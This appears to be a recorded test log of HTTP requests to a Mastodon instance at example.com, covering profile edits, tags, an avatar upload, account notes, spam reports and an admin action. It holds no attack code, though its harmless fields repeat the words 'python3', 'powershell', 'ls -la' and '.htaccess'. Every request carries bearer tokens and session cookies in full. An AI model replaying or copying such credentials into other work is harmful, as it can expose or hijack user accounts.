_mastodon_session=9f0waBiozbOTg%2Bt90u1Ck7yN7joM1A73cMSprUpSDC8P86ioxYcFfH%2FnfYdIna%2FQ8nFyhdCu%2BxnhftMmO8%2B5ZZ3qfonxwhTTJdEQINenIvffpku7M%2FbRkctcN1fe2C6ienZev8VG1lRsyT9yFsy7HcPyLVuYHDv8idXxwvjDhm8DMZOC5Bi0e63srqrHlabieA3dI8K1ZmzanJ5GjvjTq1ZK%2FOZb9c9Vt9Ps2Yjr5iU1mxvqWNfb696HlO0Zz10pXqTElQsLjhZp0n3WYhFx4KP5R5SYvY3Z8RpRD7ku%2F%2BGIrQgRQjmbw%2Fp3tsPdvqUHM5EjQdEkLt92XRQb0CJpP9KMm2fkP5JppnxkPf4Gc8LUajUrFHIyJmpTqzgdn9N5gkc0MSvcq8hu--ZKb4jK6haTCB1SzQ--KmLHWyj21AsU85Zz9oJ3hQ%3D%3D"], "body": "{\"note\":\"I walk by the river and write about it.\"}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 62", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=hMrujBHwGDvqH6xgtVwn6IRUusHfoPcC%2FcPcAfogtvgyAgnV27bNxO6qVd%2BChudhNLHfvO7pdJuCdeAdW9xx2xwFkvL1qtNw8MgaXTieHYRn5QZfwuauaa%2Bu1%2BX9fFQ1m0695%2BHdUbZ4NuY6a3iNTnePSR5tQ0D1i4wSePgiayp0rGfb%2BWnWVmCiraGI%2FQlpK5FWIXqEBAtaXRpGwKKt%2BpNeWlqWjGoPm2Rknq%2F9DPFW%2Bn315utCdi8J%2BoQ036uoGQWag89vGuj1q5dy706u3SMVR%2FhZC0mz5dkCKwg%2Bs7A6btVVyx1BG1ofmFE%2FSsGLst9lvRhnLkn0eGZh8T1y%2BIhhSBgUgcHT6JwsE0oMeHTu7%2BrCKRhLbEyxPZOQABAtNWzJoOkwdXWG--RjY9GYDSuz3sbmWQ--eRbLvS9KtO1Ub6Z4vj8B9w%3D%3D"], "body": "{\"note\":\"Notes on python3, powershell, ls -la and .htaccess.\"}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=QdjxiOKfowIwXm6AOVGgxztXwBYkKbHA2HFToC5mLnYdIB5HHfLo%2FY0w3weCqZjQbgJbj7bUb5lrjMrfLVBMTbBgHp8nA%2BS8xL3FwNIRqyAZESfFP7giOIUjy7FV8Su6bn2t7UnOYrQst8%2FxP6%2FBrUyIgDGBE3P7r0jxriwqJDnFa0Ij0BPvGUyJVODuxatTNls7jk0auFyEt0fTGt5TkDWLZLSsXWxs26SQvQ1alcaX9FdVtsCInrnIFWo0AghKMhX8mOR4zuQbGA3%2Fclnn9Olgosr9qIvcIeRLkqN%2FR3UvUBO6g62JWvbG2ykUCLlHChsfBMwfR6pfj4OnX3ghKU%2FCELC81p8KQBEmxfJRtvEq2J2UbUgIdM1gTNDj7PeKVDl04GXKqiZr--AZ5neELoodWXkuwu--c3TxcFZKezA3QuJeOm8%2BEg%3D%3D"], "body": "{\"fields_attributes\":[{\"name\":\"Website\",\"value\":\"https://example.org/river\"}]}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=np%2BSO2W%2BhEaItbiw7pcqP3GMww%2BaNyN8mFeiJZWM3I8SKCaRL7U0n2FtZv9vHtYUJ7uM%2BA8XLLpn4fZx7DY1GNGOcYmuRhVnh6fGxljWuwQwQ%2F3IU4Ke25ljtQvPEW%2FwJbqp0G4%2FggC9SeJnbeEfpKL4MG7s7EA8ZBo%2FwHR1ASGklOs5t%2Bqvl0sAmASfFf%2BTuSbTsx3ew%2FlqfnSoaw11GTfXP1A9TrjnpCwM8PQu400xlUbVvOMLAn%2FKdJBISIB5qSiBPIUFdoWUWikjYrLU%2FZK6jBt0acG62Y4VLSPd11dUn5RpRk03Zs%2FL1%2FkJ78PkotvQTzb1qMp8KzDAzd1Xg8XnRCfG8%2FdW5zLteRF53yuCPnBDIo0Ds3Rv1ghZ99%2Bq1RKL4zLJqPOw--WLydzqrbPf8PEjEO--3USamBP7qv1OUsxaTBYABw%3D%3D"], "body": "{\"fields_attributes\":[{\"name\":\"Website\",\"value\":\"https://example.org/river\"},{\"name\":\"python3 powershell ls -la .htaccess\",\"value\":\"Notes on python3, powershell, ls -la and .htaccess\"}]}"}
{"method": "POST", "target": "/api/v1/featured_tags", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 18", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/featured_tags", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=iASEJi70GztXcgihLjVGCXxNppupQGotMNrektUFigv948koCNqwO%2FCeod1WYBqXcf9TkFK6HGnnzJSHF241Pv1x3YB2h0v2jvV%2FdT5fGx0ZLXS7gGIViJW9AmRlTbT5%2F8p9AEt3yjQdaGYGfZKVs4o1y0gDNEx8p%2FILC0mHW5C9jWSWm0E844eGJfJcjLQhJyCk7PHLCFDRf8socc7vpkM%2FgbSPtSYi%2ByDHbDvHGowWknJyDLMcQvmLb8kHfwiaYDiE1CB3PL2CoKjilTZLQbRfTARUUcqe%2BZnr2e%2FBi1CTVxFSZdXUafxkjIBEJEIDVIXxg1YICattCY4SW9eaRcAU1jRnuch15pqsxIpg2ijId%2FgHddr0l%2Fz4%2FREXqJ5YBdsnR1M1iz3T--Ti44%2B%2F9qwplNRaCZ--iFHRvuVRCCe1aDFEUTc5rQ%3D%3D"], "body": "{\"name\":\"python3\"}"}
{"method": "POST", "target": "/api/v1/featured_tags", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 21", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/featured_tags", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=kBpCTb%2Fs9pz7r0A%2FxuRjtz7wTK%2B1nZh5ar6YpVBKLUeVhPuK3iI6durBb6D0rFYqNf2hjhbWVxC5mdniK5B6wN1lY93uWJN1Fxq5VSDx%2Fq8w4Am7m4i8HZrgZZ5YGtsPLvalJeWChkcufsiyTWW2L6KXxVuhcDgqkRQn5RhDWGRlfPyeCA92jazY31llKOiAsvFqXLJHwi7RiIJZg1ELxhJuuqY93jkgFL6vDoGJZ%2BY%2Fql9ThbD2uEmCzktVg5uk5CzB1sT1SZJxVHtC1gfiBNHm58gp3Odv2XEsIWuQjqVIFteXWBKJjoyDZpqrhAh153aZ%2Flq31yr0VMqItgHq62qzk7sWhUiCoe1VNTdO4HFNoabPk%2B10ruC1CM1WxbwrR4VnjxMV9UcQ--vtrCsDBemzMHiU%2Bt--oGMwYJCMy9csBzOoOeB96A%3D%3D"], "body": "{\"name\":\"powershell\"}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 434", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: NWnoxDFn3yCNZabHutTdudK7RSCsSloa8GptCAAMslib3y6DXLqVlDwJVJ0r4RpVVZ6q8QuJ5jH3uk_DnAuAsg", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUQtXWPO5ykB3KVSy", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDQ6NDYuMTg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--bb85fcba42b324d857482972dca81ead94586237; _mastodon_session=4qzmIiZPuYUqy9D7hgtAo9xCQ6Z%2BPaSMbSycfIvQINpJ8FdNFePSMCED0N9TkoSIYa0xKJ1RY8bj0xAPWgUQi9XuTERslq3t8NVgKyUlDbvLkrfZ%2BLKxqyGqhmQI05CwDVFARYqwUkFihTQ8bHCb%2BvSHiLAnxXqn27czcbt3iB4Db9%2F2baT8GKIdU0G%2FJS1%2FAqN%2FV8dcOXaNxHLZjh%2Ffn0pXSis3M9NErWguFz7BNksbLvAFYUOYiLhO4J76%2F%2BqyJpxPZ2LMap2eAHhI6N55zk3iz7nOKZ753aIbGJbAn8p7qjL2P5v9UHYrqMfUks%2FwrU0OkBGLIA6J2acoGHp9oua%2Fiz487uq2bw%2BFt55%2FKQBc33YjyKzxsRdjVLXwA5e7TJ58ruQrKrmY--w6cnBJVBHRI5at36--V9SAznJN5niMY%2Fgq4Q9Z6Q%3D%3D"], "body": "------WebKitFormBoundaryUQtXWPO5ykB3KVSy\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"blob\"\r\nContent-Type: image/png\r\n\r\n�PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000 \u0000\u0000\u0000 \b\u0006\u0000\u0000\u0000szz�\u0000\u0000\u0000;IDATx\u0001���\t\u00000\b\u0003��4\u001d�cw+\u001d�� \u0017�?�/�����\u0019�\u0001\u0004\b\u0010 @�\u0000\u0001\u0002\u0004\b\u0010 @`�@w�\u000b\u0000\u0000���'E�\u0000\u0000\u0000\u0006IDAT\u0003\u0000?yH!1�\u0005\u0015\u0000\u0000\u0000\u0000IEND�B`�\r\n------WebKitFormBoundaryUQtXWPO5ykB3KVSy\r\nContent-Disposition: form-data; name=\"avatar_description\"\r\n\r\nAn orange square\r\n------WebKitFormBoundaryUQtXWPO5ykB3KVSy--\r\n"}
{"method": "POST", "target": "/api/v1/accounts/117589807710501347/note", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 35", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 2VaOWYDfyXC2LhO3gcv7d7Tb2HaWBKeAu-DDzSC9E4x34Ege7QKDxAdC4e0Q_jybM_43pzHHG6u8MOEGvLohZg", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDU6NTAuNzMyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--73cc8591126b052478f2a87b3ad44c8e781cbc97; _mastodon_session=En59h1FyCIi%2BBw4Ammp81QF8ijp003GDVJ2LZWhzNe8xG95JRY1UMfC74zHxFEApCp8g3L%2F2iYpjTgvRrlQYjBHYfA16oVFWdm3VmF%2FHHQC%2Bj9w3j04CSrGzuSOwe0MCgqC64SQga41LGicHGONyt%2Foyg8Brw9heW6UXIfdF4JHnxTNGcdqVwBA4uukJnnQitPr9jhFMoFukbU1ONH9e63u0oo9%2B6oG4didf7DPDhK8vX2LkLpm9%2FcUVzoiDq7p%2BDYw4PH2BHEOaeYSTsWfJ%2BhpFEZyEnJnqo1JqbQDj4COXw4b3pJJgYjD0Z1D5AoK%2FuT6UhJIYx%2BQboX5QUd8qV0ickHqN7wK00rojVRsTUFInWf69tew2NnBm4UTjDNDbKyTkuTknBY1Y--sFObJ3y%2FL30bK2Dm--hjwKHU33NgREGRsF68EHSg%3D%3D"], "body": "{\"comment\":\"Met at the river walk\"}"}
{"method": "POST", "target": "/api/v1/accounts/117589807710501347/note", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 61", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: j7fVhw0PbocEXGuNMzz0DNlZ2bPncNyq4Pp9j1nCSiEhARPAYNIkM7UwmdeiCTPgXnw2YkCzYIHnKl9ExcV4yw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDY6NDAuMTE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--765e600d35f9ae7e4e9d1544501f9428a349fdfa; _mastodon_session=%2Fe%2BrT21g0aBpcxP5axoWyml0417RkDc5JKAfDrBLgojDxwBMHfjFbi4waZ03p5ib665Hd%2F6z961yYughQKf%2BsKAHV2a8HRZKfDzKs5Z79v6Tl8wheULcN5bOpsQw4E9NPRNHcsnn1AxFY4E8kWHyyTOqnBciXNUY1MxQWqlJX1OQSRKc33fvVXtV9zbx5EzBlrldoGbn%2Fdqk6o7d2zFbZ4x6ghM0m7hBVSVQMntPPXTUlGeyVGHdUaQ%2FgnkfQOu8qPsCiwBYr%2BoXP4tbuCFyWYTTjY1VlncQWRYvauLQM7qPU%2BxMC4N6NjUR841p7dQf0l7ChYvnHBlu3o1tJMdvz3J2R35KyideQtxmEnHn6cT8Dj07dNShM9a81Afo6IcmSTv4ZU0C9d8%2F--0dt91hvvP%2BqR2KjZ--4pVuR%2FdZdONGdL53Y3Dt0A%3D%3D"], "body": "{\"comment\":\"Knows python3, powershell, ls -la and .htaccess\"}"}
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 167", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: E0siLuH6sdkYpyM3LeCmV-3YzQ0RCuiMKT_Tbic_oEa9_eRpjCf7banL0W281WG7av0i3LbJVKcu7_GluziSrA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDc6MDYuNzE2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a6c0e21785394d921496cb35dc39f7580c93d132; _mastodon_session=u4a2MTZ325LIR%2BWJ5YGTOs%2BNftgwAv23iV%2FGZu16v6Zcm69X6PKtABOLmpHsiHcyHKv8LrW4KJGe4mx%2BUQRumCvZAq%2FKE9yNgjIfZdhOHPyYAyq1NZNVcGCBPRZC0qm%2BT1CqJhulHFEICg8olSfqJcRerBkITQz4laa0JPT8krUCWCieIf2C5rXEOIFm%2B2it9sPJVR2Lg5F%2BDszTgXwq1HSWpgGrtEENvGEOfFf8FhDDPyLqbMWdQy5uTUg46rBaeYXmDoHR8uyPxt3Zwymey8esTGyFizr8tH3OkeESooRym%2FkS3kDQ0VyTmHPu0zDRo2HeW3Mw2e%2BEMl3FuBsimiXUVzgZuSD85CxnkVNsuJAS4TaEjjSEouBXwKVxs1L68AR8UWBJP8lW--jeTED4Oq%2BNmJoKfY--TpWbjvMsVdjrdzMnyecQ%2Bw%3D%3D"], "body": "{\"account_id\":\"117589807710501347\",\"status_ids\":[],\"forward_to_domains\":[],\"comment\":\"Sends the same link to everyone\",\"forward\":false,\"category\":\"spam\",\"rule_ids\":[]}"}
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 209", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 9KJAnZHXgScACqpgvxl4Ftv8ful9a2bFxANlW6lW88JaFIba_ArLk7FmWDouLL_6XNmRONqo2u7D00eQNVHBKA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDc6MTcuNTcwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--df011016d3d6395bc07d5fbab2917b9ef01a8e35; _mastodon_session=ZSFe6VxK3GQHqSBd2cVefbuCmdqHly4L1A5K%2BvlqoI83JBWoOhcVZObG9nxk7qNSDzgBNvp8ZFFIvNwUBHB%2F%2Bkb7WIiDEMTNvH1UMmO1rQCeH9marL4ulamke0AMne6389leKqL%2Bze%2FKuQNrQg6r5TAa3An8Nen5CKREfSMRHR2QNTKCUJp3bLR4B5Ubyt1Qy5OL%2Fkkpmx5riqaAV7MJwbHSECJuB1%2Bf%2FVSwjGZl7mmJpSABDvizySUg6kkl7bwFH04C7AEtrrZYv3eNOl7Qzp7haCzet9e%2F647Zy4Ml2E2WfeVxKu3rBUOsJXcWG2XZILdgY85d8FZAfbytqmbDfbIUkWvr%2BrMtsAQqTbAedmAuJbKlScIoOFPnxkJC9JK3wMRzY35c8NTm--VQ76Hd7RC74zSjYN--9mLfXZKIao2FJ82ZP0Ms8Q%3D%3D"], "body": "{\"account_id\":\"117589807710501347\",\"status_ids\":[],\"forward_to_domains\":[],\"comment\":\"Posting python3 and powershell malware, ls -la output and .htaccess files\",\"forward\":false,\"category\":\"spam\",\"rule_ids\":[]}"}
{"method": "POST", "target": "/admin/accounts/117589807710501347/action", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 434", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347/action/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6MjQuMjA2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--30f32bf3938306e75330204cdaf3dca6350d9bb1; _mastodon_session=9UzPVoLqh3MebAD4cs2shX2oYrqBzen6MFx5qsRRQt8WG7DPetvif5EZT3MhS%2FSjR9FmpcLO%2Bt%2FMxmSSCFk8ZPWsC5AkyE6hZ%2FAJ1eKM6%2Bk921J%2BMD6WHVNSPBfdlPK2vbxC1PK2Qj6RVHiC2vLplH%2BdpzKuf3OYO%2BQ4EgUFUrpH1ofLYietyEkWs%2BfYBR8CUFaE7dEs%2BsXoAJMzZJ0eo%2Bps2rRpPqWCKy99DIfaCrXWkc5njXEjk9l5gtFVu6%2F8pTDVc2eIU%2Fs%2BwPmHgLulXlAigsdlqO9aDNc0j2OE0hWg%2B%2Be%2Fxh5ij%2FRpYx9eXaUSb9HjgLANEIhQO%2FiyjFM%2F7xeKpt60FOAN64yhEvOulH7L1yW7kI02m%2BpMH1UPvachQcKejfaiVoMh--PYdTFXIV4lv%2BSVOK--I4hoMUTMbpp6luFL4lXrpA%3D%3D"], "body": 